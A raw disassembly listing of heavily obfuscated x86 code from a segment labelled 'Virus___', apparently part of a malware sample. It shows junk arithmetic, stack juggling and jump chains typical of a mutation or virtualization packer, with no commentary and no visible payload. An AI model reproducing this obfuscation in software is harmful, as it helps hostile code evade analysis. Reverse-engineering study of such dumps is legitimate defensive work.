; --------------------------------------------------------------------------- loc_55A20B: ; CODE XREF: Virus___:0056440Aj mov al, 0EAh push ecx mov ch, 8Fh add ch, 43h neg ch or ch, 0FEh neg ch add ch, 0C0h add al, ch pop ecx xor al, 0 xor dh, al pop eax add bl, 5Eh sub bl, dh jmp loc_562573 ; --------------------------------------------------------------------------- loc_55A22F: ; CODE XREF: Virus___:0055D810j sub esi, 1 jmp loc_558478 ; --------------------------------------------------------------------------- loc_55A237: ; CODE XREF: Virus___:005649D7j not ebp sub ebp, 355D5AB9h xor ebp, 3CFF9CD5h add esi, ebp push dword ptr [esp] jmp loc_558C00 ; --------------------------------------------------------------------------- loc_55A24F: ; CODE XREF: Virus___:005645E4j pop esi jmp loc_55D997 ; --------------------------------------------------------------------------- loc_55A255: ; CODE XREF: Virus___:0055D8D3j neg bl shl bl, 7 push 71D3h mov [esp], eax push ecx mov cl, 0C6h jmp loc_557AEB ; --------------------------------------------------------------------------- loc_55A26A: ; CODE XREF: Virus___:00559784j shr ebx, 3 push eax jmp loc_553146 ; --------------------------------------------------------------------------- loc_55A273: ; CODE XREF: Virus___:00554CA2j add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_553740 ; --------------------------------------------------------------------------- loc_55A284: ; CODE XREF: Virus___:00550C81j add eax, 44E03929h push esi mov esi, 2D2A4FACh add eax, 3E4A2927h add eax, esi sub eax, 3E4A2927h jmp loc_55601B ; --------------------------------------------------------------------------- loc_55A2A0: ; CODE XREF: Virus___:00551139j add ebx, esi jmp loc_556B2E ; --------------------------------------------------------------------------- loc_55A2A7: ; CODE XREF: Virus___:0054FB38j mov esp, [esp] jmp loc_55B24E ; --------------------------------------------------------------------------- loc_55A2AF: ; CODE XREF: Virus___:0055F105j pop ebx pop eax sub cl, 13h jmp loc_5578B1 ; --------------------------------------------------------------------------- loc_55A2B9: ; CODE XREF: Virus___:0055CF61j pop dword ptr [esp] pop esp add ecx, 5B2D6F38h jmp loc_561192 ; --------------------------------------------------------------------------- loc_55A2C8: ; CODE XREF: Virus___:00564C67j add ebp, edx sub ebp, 3CF329AFh pop edx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_54FA0A ; --------------------------------------------------------------------------- loc_55A2E2: ; CODE XREF: Virus___:00557451j xor eax, ebx sub esp, 4 mov [esp], ebx push esi jmp loc_55000F ; --------------------------------------------------------------------------- loc_55A2F0: ; CODE XREF: Virus___:00561962j mov ecx, eax pop eax shr ecx, 6 push 369Eh mov [esp], ebx push ebp push edx jmp loc_55ADC5 ; --------------------------------------------------------------------------- loc_55A305: ; CODE XREF: Virus___:0055E8BCj pop eax sub edx, 1 sub edx, 5DD2346Ch jmp loc_55115D ; --------------------------------------------------------------------------- loc_55A317: ; CODE XREF: Virus___:0055554Ej pop edi push esi push dword ptr [esp+4] pop esi jmp loc_55F512 ; --------------------------------------------------------------------------- loc_55A323: ; CODE XREF: Virus___:0055DBFAj shr ecx, 6 push edi mov edi, 12E46C60h xor edi, 28D93DF7h jmp loc_55BE4A ; --------------------------------------------------------------------------- loc_55A337: ; CODE XREF: Virus___:00553A38j mov [esp], ebp not dword ptr [esp] jmp loc_55C5B6 ; --------------------------------------------------------------------------- loc_55A342: ; CODE XREF: Virus___:0055500Fj sub al, cl pop ecx add al, 0C2h add al, 4Ah add al, cl sub al, 4Ah sub al, 0C2h push ecx jmp loc_55C6EB ; --------------------------------------------------------------------------- loc_55A355: ; CODE XREF: Virus___:0055D6B9j mov ebp, [esp] add esp, 4 pop esi shl ebp, 6 shr ebp, 3 inc ebp add ebp, 33AA7787h dec ebp not ebp jmp loc_556C78 ; --------------------------------------------------------------------------- loc_55A374: ; CODE XREF: Virus___:0055B06Aj add esp, 4 push eax mov eax, 2 add edx, eax pop eax jmp loc_55A960 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 push ebp push esp mov ebp, [esp] jmp loc_55D03C ; --------------------------------------------------------------------------- lodsd push esi push 6AB4h mov [esp], ecx mov ecx, 64C20337h xor ecx, 1D7C5150h shl ecx, 3 jmp loc_55DCD4 ; --------------------------------------------------------------------------- loc_55A3BC: ; CODE XREF: Virus___:005607FAj sub ebp, ecx pop ecx jmp loc_55DC5F ; --------------------------------------------------------------------------- loc_55A3C4: ; CODE XREF: Virus___:00559114j mov dh, 90h jmp loc_55F31F ; --------------------------------------------------------------------------- loc_55A3CB: ; CODE XREF: Virus___:00552625j xor si, dx pop dx add ax, si pop esi add ax, 1023h sub ax, bx push si mov si, 1023h sub ax, si pop si push cx push si jmp loc_558EB8 ; --------------------------------------------------------------------------- loc_55A3EF: ; CODE XREF: Virus___:0055D02Cj push 5D84h mov [esp], ecx push eax mov eax, esp add eax, 4 push edx push ecx jmp loc_54FA2C ; --------------------------------------------------------------------------- loc_55A406: ; CODE XREF: Virus___:005541CAj xchg eax, [esp] jmp loc_55ED0A ; --------------------------------------------------------------------------- loc_55A40E: ; CODE XREF: Virus___:0055B1C0j and ebx, 11EC188Ch jmp loc_562377 ; --------------------------------------------------------------------------- loc_55A419: ; CODE XREF: Virus___:0055F706j push ecx jmp loc_55A8E4 ; --------------------------------------------------------------------------- loc_55A41F: ; CODE XREF: Virus___:00553531j pop esp push ebp mov ebp, 29FB51DDh add esi, 52301784h add esi, ebp sub esi, 52301784h jmp loc_557EA8 ; --------------------------------------------------------------------------- loc_55A439: ; CODE XREF: Virus___:00563AA8j add esp, 4 pop dword ptr [esp] mov esp, [esp] push edi jmp loc_550C33 ; --------------------------------------------------------------------------- loc_55A448: ; CODE XREF: Virus___:00559EF4j mov ax, [esp] push 15BDh mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], esi mov esi, esp push eax jmp loc_563A77 ; --------------------------------------------------------------------------- loc_55A46E: ; CODE XREF: Virus___:0055A831j xor edi, ebp pop ebp sub eax, 55423C1Ch add eax, edi add eax, 55423C1Ch push dword ptr [esp] pop edi add esp, 4 push ebx mov ebx, 2 add eax, 1B2005C2h add eax, ebx sub eax, 1B2005C2h push dword ptr [esp] pop ebx add esp, 4 xchg eax, [esp] mov esp, [esp] mov ax, [esp] push 669h jmp loc_552A03 ; --------------------------------------------------------------------------- loc_55A4B1: ; CODE XREF: Virus___:00553F4Dj push dword ptr [esp+4] push dword ptr [esp] pop ebx add esp, 4 jmp loc_55D2B1 ; --------------------------------------------------------------------------- loc_55A4C1: ; CODE XREF: Virus___:005598D9j add esp, 4 push bx mov bh, dh not bh mov dh, bh pop bx jmp loc_555C7D ; --------------------------------------------------------------------------- loc_55A4D6: ; CODE XREF: Virus___:0055C1DEj mov ecx, [esp] add esp, 4 movzx eax, al pop small word ptr [edi+eax*4] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55A4E8: ; CODE XREF: Virus___:00552416j push eax mov eax, 79B11031h xor ecx, eax pop eax xor ecx, 0A8259101h add eax, ecx pop ecx pop esi add eax, ebx add eax, 3C7E5673h mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5521A7 ; --------------------------------------------------------------------------- loc_55A519: ; CODE XREF: Virus___:00558809j pop esp add ebx, 1F6C4129h jmp loc_5509BD ; --------------------------------------------------------------------------- loc_55A525: ; CODE XREF: Virus___:0055B164j sub ebx, ebp sub ebx, 1EEB7139h add ebx, 40FF012Ch mov ebp, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], cx movzx cx, al push cx pushf jmp loc_555076 ; --------------------------------------------------------------------------- loc_55A556: ; CODE XREF: Virus___:00554BE4j shl ch, 6 neg ch push edx mov dh, 4 xchg bl, dh not bl xchg bl, dh jmp loc_55CB44 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp push 6576h mov [esp], edx mov edx, 3C6A241Ah jmp loc_55EA0B ; --------------------------------------------------------------------------- loc_55A587: ; CODE XREF: Virus___:0056390Ej pop edi sub eax, 4 xchg eax, [esp] pop esp mov [esp], edi mov edi, edx push edi push dword ptr [esp] jmp loc_54F8AC ; --------------------------------------------------------------------------- loc_55A59F: ; CODE XREF: Virus___:0055E632j push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edx push 60BCh mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 push esi mov esi, 4 jmp loc_56207B ; --------------------------------------------------------------------------- loc_55A5D6: ; CODE XREF: Virus___:0055837Ej add edx, 282B3437h and edx, 73A276DBh or edx, 75085DD0h add edx, 88F78030h sub ebp, 3F7A4E09h jmp loc_55D780 ; --------------------------------------------------------------------------- loc_55A5F9: ; CODE XREF: Virus___:005505BEj pop esi push edx jmp loc_55451F ; --------------------------------------------------------------------------- loc_55A600: ; CODE XREF: Virus___:0055407Aj push ebx mov ebx, 685464F1h add ebx, 3BD059F4h sub ebx, 711393A1h add esi, ebx jmp loc_55566A ; --------------------------------------------------------------------------- loc_55A619: ; CODE XREF: Virus___:00556072j sub eax, ebx mov ebx, [esp] add esp, 4 push eax push dword ptr [esp+4] push dword ptr [esp] pop eax add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], cx movzx cx, al push cx pushf jmp loc_56146C ; --------------------------------------------------------------------------- loc_55A643: ; CODE XREF: Virus___:005603EDj add ebx, eax pop eax shr ebx, 2 jmp loc_55FBB7 ; --------------------------------------------------------------------------- loc_55A64E: ; CODE XREF: Virus___:0055EC2Bj xchg eax, edx not edx xchg eax, edx shr eax, 8 push ebx mov ebx, 54FA11FEh jmp loc_554D1F ; --------------------------------------------------------------------------- xchg ecx, [esp] xchg esi, ecx not esi jmp loc_553A81 ; --------------------------------------------------------------------------- loc_55A66C: ; CODE XREF: Virus___:00552946j pop ebp pop ecx jmp loc_5565BF ; --------------------------------------------------------------------------- loc_55A673: ; CODE XREF: Virus___:0056012Ej push dword ptr [esp] jmp loc_55D9BC ; --------------------------------------------------------------------------- loc_55A67B: ; CODE XREF: Virus___:0054FF3Bj add ebx, eax push eax jmp loc_559967 ; --------------------------------------------------------------------------- loc_55A683: ; CODE XREF: Virus___:0055B5FAj mov cl, 8Bh shr cl, 3 sub esp, 4 jmp loc_558035 ; --------------------------------------------------------------------------- loc_55A690: ; CODE XREF: Virus___:0056221Bj add esp, 4 add esp, 4 push esi sub esp, 4 mov [esp], edx push 7FA6A0Dh mov edx, [esp] jmp loc_55CC9D ; --------------------------------------------------------------------------- loc_55A6B0: ; CODE XREF: Virus___:005577D8j or eax, 2A4E2120h sub eax, 5F2B17DEh sub eax, 56FE0EF0h jmp loc_55C188 ; --------------------------------------------------------------------------- loc_55A6C4: ; CODE XREF: Virus___:00559E5Fj xchg ebx, [esp] jmp loc_55BD46 ; --------------------------------------------------------------------------- loc_55A6CC: ; CODE XREF: Virus___:00556386j sub esp, 4 mov [esp], ebx sub esp, 4 jmp loc_550E52 ; --------------------------------------------------------------------------- loc_55A6DD: ; CODE XREF: Virus___:0055FEDBj add edi, ebp pop ebp add ebp, edi jmp loc_5546AE ; --------------------------------------------------------------------------- loc_55A6E7: ; CODE XREF: Virus___:00552A06j push esp jmp loc_56007E ; --------------------------------------------------------------------------- loc_55A6ED: ; CODE XREF: Virus___:00551211j push 765Ch jmp loc_557DC6 ; --------------------------------------------------------------------------- loc_55A6F7: ; CODE XREF: Virus___:0055BF13j add esi, 4 xchg esi, [esp] pop esp jmp loc_55D66B ; --------------------------------------------------------------------------- loc_55A703: ; CODE XREF: Virus___:005596D5j sub eax, edx pop edx add eax, ebp add eax, 7C5480Dh jmp loc_55F747 ; --------------------------------------------------------------------------- loc_55A712: ; CODE XREF: Virus___:00557AC9j mov [esp], ebp jmp loc_5520DB ; --------------------------------------------------------------------------- loc_55A71A: ; CODE XREF: Virus___:005517EDj push esi push 39F8085Fh mov esi, [esp] push edx mov edx, esp add edx, 4 jmp loc_562462 ; --------------------------------------------------------------------------- loc_55A731: ; CODE XREF: Virus___:0055B77Ej push eax jmp loc_55CDF4 ; --------------------------------------------------------------------------- loc_55A737: ; CODE XREF: Virus___:005582F9j pop ebx xchg esi, [esp] pop esp push eax mov eax, 4 add ebp, eax pop eax xchg ebp, [esp] jmp loc_550223 ; --------------------------------------------------------------------------- loc_55A74D: ; CODE XREF: Virus___:00562E45j mov esi, 4EC848EDh add ecx, esi pop esi add ecx, eax sub ecx, 4EC848EDh pop eax push esi mov esi, 2 push edx mov edx, 189F25FFh sub edx, 0D3E8B912h jmp loc_564926 ; --------------------------------------------------------------------------- loc_55A775: ; CODE XREF: Virus___:00551F64j push edx inc dword ptr [esp] pop edx dec edx xor edx, 5FDB4CD4h xor ebx, edx jmp loc_55CEEA ; --------------------------------------------------------------------------- loc_55A788: ; CODE XREF: Virus___:0055BB0Cj mov edx, [esp] add esp, 4 push edi mov edi, 2B290BC2h sub edi, 51332EDBh shl edi, 4 xor edi, 64D640CFh jmp loc_55C569 ; --------------------------------------------------------------------------- loc_55A7A8: ; CODE XREF: Virus___:00554908j mov [esp], esp push eax mov eax, 4 jmp loc_5517A5 ; --------------------------------------------------------------------------- loc_55A7B6: ; CODE XREF: Virus___:00560385j neg ebx push 5C73h mov [esp], edi mov edi, esp jmp loc_55F787 ; --------------------------------------------------------------------------- loc_55A7C7: ; CODE XREF: Virus___:00563882j pop ecx add esi, 4 xchg esi, [esp] pop esp and eax, ebx push dword ptr [esp] push dword ptr [esp] pop ebx push edi jmp loc_55F430 ; --------------------------------------------------------------------------- loc_55A7E1: ; CODE XREF: Virus___:0055444Bj pop eax pop ecx add ecx, 4 push eax mov eax, 4 add ecx, eax pop eax push ecx push dword ptr [esp+4] push dword ptr [esp] mov ecx, [esp] jmp loc_55CF58 ; --------------------------------------------------------------------------- loc_55A802: ; CODE XREF: Virus___:0055EFCBj push esp mov edx, [esp] add esp, 4 jmp loc_5511B8 ; --------------------------------------------------------------------------- loc_55A811: ; CODE XREF: Virus___:0056222Ej push 5C9Ah mov [esp], esi push esi mov esi, 46013452h jmp loc_550290 ; --------------------------------------------------------------------------- loc_55A824: ; CODE XREF: Virus___:0055BDEFj pop edx add edi, 0FFFFFFFFh push ebp mov ebp, 0A496D7A1h jmp loc_55A46E ; --------------------------------------------------------------------------- loc_55A836: ; CODE XREF: Virus___:005501C0j add ebx, 0D2BED958h sub esi, 3F2773B8h sub esi, ebx add esi, 3F2773B8h pop ebx mov edi, [esp] jmp loc_55F205 ; --------------------------------------------------------------------------- loc_55A853: ; CODE XREF: Virus___:0055A1ABj add ebx, 4989B850h add eax, ebx pop ebx jmp loc_5607D7 ; --------------------------------------------------------------------------- loc_55A861: ; CODE XREF: Virus___:00556F1Cj pop ecx add edi, 9BE2175h mov ebp, edi jmp loc_554C91 ; --------------------------------------------------------------------------- loc_55A86F: ; CODE XREF: Virus___:00550B72j sub eax, ebx jmp loc_562A50 ; --------------------------------------------------------------------------- loc_55A876: ; CODE XREF: Virus___:0055103Ej xor edi, 0E64FE3C7h add edx, 344B542Ah sub edx, edi sub edx, 344B542Ah mov edi, [esp] add esp, 4 jmp loc_559AEC ; --------------------------------------------------------------------------- loc_55A898: ; CODE XREF: Virus___:00560B15j push edx dec byte ptr [esp] pop edx mov cl, dl pop edx jmp loc_55DA13 ; --------------------------------------------------------------------------- loc_55A8A5: ; CODE XREF: Virus___:0056135Fj mov dl, 44h and bl, dl push dword ptr [esp] pop edx add esp, 4 or bl, 0DEh push eax jmp loc_555C2B ; --------------------------------------------------------------------------- loc_55A8BC: ; CODE XREF: Virus___:005544CCj shl edx, 3 shr edx, 6 push eax push esi push 73D2424Eh pop esi dec esi not esi shl esi, 3 sub esi, 16F28F87h mov eax, esi pop esi push esi mov esi, 2EB159C5h jmp loc_563A0F ; --------------------------------------------------------------------------- loc_55A8E4: ; CODE XREF: Virus___:0055A41Aj mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi jmp loc_559304 ; --------------------------------------------------------------------------- loc_55A8FB: ; CODE XREF: Virus___:00560396j sub bl, al push dx jmp loc_56046F ; --------------------------------------------------------------------------- loc_55A904: ; CODE XREF: Virus___:00563547j push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx push ebx push 2D17h mov [esp], ecx jmp loc_55C4A6 ; --------------------------------------------------------------------------- lodsw sub ax, 16C7h sub esp, 4 mov [esp], esi mov si, 2D18h push edi mov di, 3874h add di, 2761h add di, 0AF18h add si, di jmp loc_563311 ; --------------------------------------------------------------------------- loc_55A94C: ; CODE XREF: Virus___:005579ABj push esi jmp loc_562B5E ; --------------------------------------------------------------------------- loc_55A952: ; CODE XREF: Virus___:0055D22Dj mov edx, ecx pop ecx sub edx, 14A37F55h jmp loc_563975 ; --------------------------------------------------------------------------- loc_55A960: ; CODE XREF: Virus___:0055A383j xchg edx, [esp] mov esp, [esp] ror dword ptr [esp], cl pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55A96F: ; CODE XREF: Virus___:005626F2j xor ecx, [esp] mov esp, [esp] mov [esp], eax jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55A97D: ; CODE XREF: Virus___:0055C13Fj add eax, 64E5098Dh jmp loc_55401D ; --------------------------------------------------------------------------- loc_55A987: ; CODE XREF: Virus___:0055D93Dj xor ecx, 3081B2Ch sub ecx, 36F05ACAh inc ecx add ecx, 0FFFFFFFFh push edx mov edx, 51E5C3ADh xor ecx, edx pop edx mov edx, ecx pop ecx xor edx, edi push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 add edx, edi mov ecx, [edx] pop edx push 4A60h mov [esp], ebp push edx mov edx, 473A1AE3h push 0 jmp loc_557475 ; --------------------------------------------------------------------------- loc_55A9D1: ; CODE XREF: Virus___:0055F27Dj mov esi, 4CB2B8A4h add edi, esi mov esi, [esp] jmp loc_562040 ; --------------------------------------------------------------------------- loc_55A9E0: ; CODE XREF: Virus___:0055A11Dj add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax push esi push 42180A65h pop esi shr esi, 8 add esi, 4999F1EDh push esi jmp loc_562A79 ; --------------------------------------------------------------------------- loc_55AA06: ; CODE XREF: Virus___:00554085j and eax, 44781C16h add eax, 4D5E39EDh add eax, 0BEB33426h and ebp, eax pop eax xor ebp, 4353A0Eh jmp loc_562CF6 ; --------------------------------------------------------------------------- loc_55AA23: ; CODE XREF: Virus___:00553B41j push edi sub esp, 4 mov [esp], esi mov esi, 6206488Bh mov edi, esi pop esi shr edi, 8 neg edi not edi jmp loc_563F2C ; --------------------------------------------------------------------------- loc_55AA3E: ; CODE XREF: Virus___:0056126Ej sub esi, edi pop edi pop eax xchg esi, [esp] jmp loc_551714 ; --------------------------------------------------------------------------- loc_55AA4A: ; CODE XREF: Virus___:00564A5Aj mov esi, esp jmp loc_5627D6 ; --------------------------------------------------------------------------- loc_55AA51: ; CODE XREF: Virus___:0055FA8Bj mov ebx, 7FFD2E39h jmp loc_55EE04 ; --------------------------------------------------------------------------- loc_55AA5B: ; CODE XREF: Virus___:0055AF59j mov [esp], ebp mov ebp, 630B6145h jmp loc_553E51 ; --------------------------------------------------------------------------- loc_55AA68: ; CODE XREF: Virus___:0056304Fj push edi jmp loc_550CDA ; --------------------------------------------------------------------------- loc_55AA6E: ; CODE XREF: Virus___:0055D372j push ebp push 6FDh jmp loc_55FB09 ; --------------------------------------------------------------------------- loc_55AA79: ; CODE XREF: Virus___:0055954Bj push esi mov esi, 464C1471h sub ebp, 79434224h sub ebp, esi add ebp, 79434224h pop esi add ebp, eax add ebp, 464C1471h pop eax sub eax, 11411216h jmp loc_559F01 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_559AAF ; --------------------------------------------------------------------------- loc_55AAAF: ; CODE XREF: Virus___:005534C3j xor edi, 36865B79h xor esi, edi pop edi xor ecx, esi push dword ptr [esp] jmp loc_552A78 ; --------------------------------------------------------------------------- loc_55AAC2: ; CODE XREF: Virus___:0055D4ACj xchg edi, [esp] pop esp jmp loc_55486D ; --------------------------------------------------------------------------- loc_55AACB: ; CODE XREF: Virus___:005553FDj add ebp, eax sub ebp, 4C276224h jmp loc_55FF62 ; --------------------------------------------------------------------------- loc_55AAD8: ; CODE XREF: Virus___:0055B7F1j mov edi, 202931B1h add edi, 77CD4CD2h push esi mov esi, 692F1885h add edi, esi pop esi shr edi, 2 add edi, 30F4D573h mov esi, edi pop edi add esi, 0FFFFFFFFh shl esi, 2 not esi not esi inc esi push ebp jmp loc_556ED4 ; --------------------------------------------------------------------------- loc_55AB0C: ; CODE XREF: Virus___:005568B9j add ecx, edx pop edx jmp loc_54FD62 ; --------------------------------------------------------------------------- loc_55AB14: ; CODE XREF: Virus___:00558916j pop esi jmp loc_55AFB7 ; --------------------------------------------------------------------------- loc_55AB1A: ; CODE XREF: Virus___:005565BAj add edi, ebp push dword ptr [esp] pop ebp push esi mov esi, esp add esi, 4 add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp jmp loc_554C50 ; --------------------------------------------------------------------------- loc_55AB3B: ; CODE XREF: Virus___:0055EDD4j push ecx mov ecx, esp add ecx, 4 jmp loc_55B8BB ; --------------------------------------------------------------------------- loc_55AB49: ; CODE XREF: Virus___:00564316j push dword ptr [esp] pop eax jmp loc_5541F8 ; --------------------------------------------------------------------------- loc_55AB52: ; CODE XREF: Virus___:00560C9Fj add edi, eax push edx jmp loc_55D736 ; --------------------------------------------------------------------------- loc_55AB5A: ; CODE XREF: Virus___:00557AE6j sub eax, 0F559FA8Bh jmp loc_564A7C ; --------------------------------------------------------------------------- loc_55AB64: ; CODE XREF: Virus___:0055AF30j mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_5516B6 ; --------------------------------------------------------------------------- loc_55AB79: ; CODE XREF: Virus___:0055D633j pop eax neg ebx jmp loc_5504B0 ; --------------------------------------------------------------------------- loc_55AB81: ; CODE XREF: Virus___:00560DA4j sub esi, eax jmp loc_55F914 ; --------------------------------------------------------------------------- loc_55AB88: ; CODE XREF: Virus___:00553AA6j sub esp, 4 mov [esp], ebp jmp loc_55BF03 ; --------------------------------------------------------------------------- loc_55AB96: ; CODE XREF: Virus___:00554835j movzx ecx, ax jmp loc_55C884 ; --------------------------------------------------------------------------- loc_55AB9E: ; CODE XREF: Virus___:00562A7Bj add ecx, 4D14300h sub ecx, eax sub ecx, 4D14300h mov eax, [esp] add esp, 4 push edx mov edx, 2E5F6DE4h inc edx push ebp mov ebp, 17057B3Dh not ebp and ebp, 50E079F5h and ebp, 50596202h push ecx mov ecx, 3BF4246Dh sub ebp, ecx pop ecx sub ebp, 0EF1AD72Dh or edx, ebp pop ebp dec edx shl edx, 1 and edx, 7CB90CBEh push esi mov esi, 2D6046ADh jmp loc_556637 ; --------------------------------------------------------------------------- loc_55ABF3: ; CODE XREF: Virus___:00554E54j pop edx add ebp, 0D3803C19h sub edx, ebp pop ebp sub edx, 30215726h jmp loc_556734 ; --------------------------------------------------------------------------- loc_55AC08: ; CODE XREF: Virus___:00555288j mov [esp], edi push 19EBh push esp pop dword ptr [esp] push 2051h jmp loc_553AAB ; --------------------------------------------------------------------------- loc_55AC1E: ; CODE XREF: Virus___:005602F2j push eax mov ah, 50h shl ah, 5 dec ah shl ah, 3 push 2640h mov [esp], ecx jmp loc_557D1F ; --------------------------------------------------------------------------- loc_55AC36: ; CODE XREF: Virus___:0054FA05j add esi, 7EFE01ECh pop eax xchg esi, [esp] mov esp, [esp] jmp loc_562753 ; --------------------------------------------------------------------------- loc_55AC48: ; CODE XREF: Virus___:0055FB32j pop esp mov [esp], esp jmp loc_55D174 ; --------------------------------------------------------------------------- loc_55AC51: ; CODE XREF: Virus___:00561B4Dj jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55AC56: ; CODE XREF: Virus___:00561FA9j sub eax, ecx jmp loc_55DF17 ; --------------------------------------------------------------------------- loc_55AC5D: ; CODE XREF: Virus___:0056315Ej pop edi xor edi, 5B132C57h shr edi, 7 add edi, 1F0B030Fh push edx mov edx, 0 sub edx, edi xor edi, edx xor edx, edi jmp loc_55103B ; --------------------------------------------------------------------------- loc_55AC7E: ; CODE XREF: Virus___:00562B73j push 43A52A7Ah pop ebx sub eax, ebx mov ebx, [esp] add esp, 4 xor eax, 38B87C23h inc eax jmp loc_55B332 ; --------------------------------------------------------------------------- loc_55AC97: ; CODE XREF: Virus___:005530D4j sub ebx, ebp pop ebp push ebx push dword ptr [esp+4] mov ebx, [esp] push ebp jmp loc_5606FD ; --------------------------------------------------------------------------- loc_55ACA8: ; CODE XREF: Virus___:00559742j push edi mov edi, 2 add ebx, 7A1D0785h add ebx, edi sub ebx, 7A1D0785h jmp loc_55E95C ; --------------------------------------------------------------------------- loc_55ACC1: ; CODE XREF: Virus___:0055F392j add eax, 4 xchg eax, [esp] pop esp add esp, 4 jmp loc_55D742 ; --------------------------------------------------------------------------- loc_55ACD5: ; CODE XREF: Virus___:00559603j push eax mov eax, 11724004h and eax, 40C574CDh sub eax, 0C26FA549h jmp loc_562C4E ; --------------------------------------------------------------------------- loc_55ACEA: ; CODE XREF: Virus___:00564B77j add edi, 6629169Fh add edi, 34A90157h pop eax push edi push dword ptr [esp+4] jmp loc_563803 ; --------------------------------------------------------------------------- loc_55AD01: ; CODE XREF: Virus___:0055FD81j xchg ecx, [esp] pop esp xor al, ch mov ecx, [esp] push edi jmp loc_5621A9 ; --------------------------------------------------------------------------- loc_55AD10: ; CODE XREF: Virus___:00556D96j mov ebx, [esp] push eax mov eax, esp add eax, 4 push ebp mov ebp, 4 add eax, ebp pop ebp xchg eax, [esp] pop esp push edi push 7752h mov [esp], ebp push ecx jmp loc_552940 ; --------------------------------------------------------------------------- loc_55AD37: ; CODE XREF: Virus___:00560CCBj add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] jmp loc_560F3C ; --------------------------------------------------------------------------- loc_55AD4A: ; CODE XREF: Virus___:00562574j mov cl, 47h xor cl, 19h sub bl, cl pop ecx mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_5591DA ; --------------------------------------------------------------------------- loc_55AD6D: ; CODE XREF: Virus___:00550132j sub esp, 4 mov [esp], edx push 4 jmp loc_554D62 ; --------------------------------------------------------------------------- loc_55AD7D: ; CODE XREF: Virus___:0055DCEBj pop ebp sub esp, 4 jmp loc_552708 ; --------------------------------------------------------------------------- loc_55AD89: ; CODE XREF: Virus___:00550FBAj pop esp jmp loc_55336F ; --------------------------------------------------------------------------- loc_55AD8F: ; CODE XREF: Virus___:0055C77Ej and eax, ebp pop ebp shr eax, 18h xor eax, ecx push 4F15h jmp loc_561932 ; --------------------------------------------------------------------------- loc_55ADA1: ; CODE XREF: Virus___:0055B139j push cx mov ch, 8 add ch, 61h jmp loc_561DBD ; --------------------------------------------------------------------------- loc_55ADAD: ; CODE XREF: Virus___:0055F66Ej add edi, 4 xchg edi, [esp] pop esp mov eax, [esp] sub esp, 4 mov [esp], edi jmp loc_557802 ; --------------------------------------------------------------------------- loc_55ADC5: ; CODE XREF: Virus___:0055A300j mov edx, 7EAE52FCh mov ebp, edx pop edx jmp loc_55F186 ; --------------------------------------------------------------------------- loc_55ADD2: ; CODE XREF: Virus___:0055C5A2j mov eax, 63BE459Bh dec eax add eax, 1 xor eax, 327B55F8h shl eax, 5 shl eax, 3 xor eax, 0C5106304h add esi, 5BA66F07h add esi, eax sub esi, 5BA66F07h pop eax xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_5516FD ; --------------------------------------------------------------------------- loc_55AE0B: ; CODE XREF: Virus___:0055FB6Fj mov ebp, 31167932h xchg eax, ebp jmp loc_554B2B ; --------------------------------------------------------------------------- loc_55AE16: ; CODE XREF: Virus___:005529ABj sub esp, 4 mov [esp], edi sub esp, 4 jmp loc_552CF5 ; --------------------------------------------------------------------------- loc_55AE24: ; CODE XREF: Virus___:00551659j push 47E8h mov [esp], ecx jmp loc_562FB7 ; --------------------------------------------------------------------------- loc_55AE31: ; CODE XREF: Virus___:00563907j mov edx, 3D7C0BA3h shl edx, 4 dec edx not edx xor edx, 684C0F97h jmp loc_562984 ; --------------------------------------------------------------------------- loc_55AE47: ; CODE XREF: Virus___:0055FEB9j xchg esi, [esp] mov esp, [esp] mov [esp], eax mov eax, esp sub esp, 4 mov [esp], esi mov esi, 4 add eax, esi pop esi sub eax, 4 xor eax, [esp] xor [esp], eax jmp loc_55C05D ; --------------------------------------------------------------------------- loc_55AE70: ; CODE XREF: Virus___:005514DCj add ebx, 2B2304E6h sub ebx, 235F145Bh sub ebx, 20B9685Dh add ebx, eax add ebx, 20B9685Dh push 73F4h mov [esp], edx jmp loc_5563EC ; --------------------------------------------------------------------------- loc_55AE97: ; CODE XREF: Virus___:0055F1E8j mov ebx, 6B9A2E2Eh jmp loc_560763 ; --------------------------------------------------------------------------- loc_55AEA1: ; CODE XREF: Virus___:00557E1Aj add edx, edi add edx, 36440939h jmp loc_55F9F0 ; --------------------------------------------------------------------------- loc_55AEAE: ; CODE XREF: Virus___:00553BB5j pop ebp push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp pop dword ptr [esp] jmp loc_553293 ; --------------------------------------------------------------------------- loc_55AEC1: ; CODE XREF: Virus___:0055CF9Cj sub esp, 4 mov [esp], ebx mov ebx, 779B4835h shr ebx, 7 push 0 jmp loc_550F52 ; --------------------------------------------------------------------------- loc_55AEDC: ; CODE XREF: Virus___:00558E49j mov ebx, 73AE43E9h sub ebx, 4C1A17F8h neg ebx xor ebx, 0CE22A806h and esi, ebx 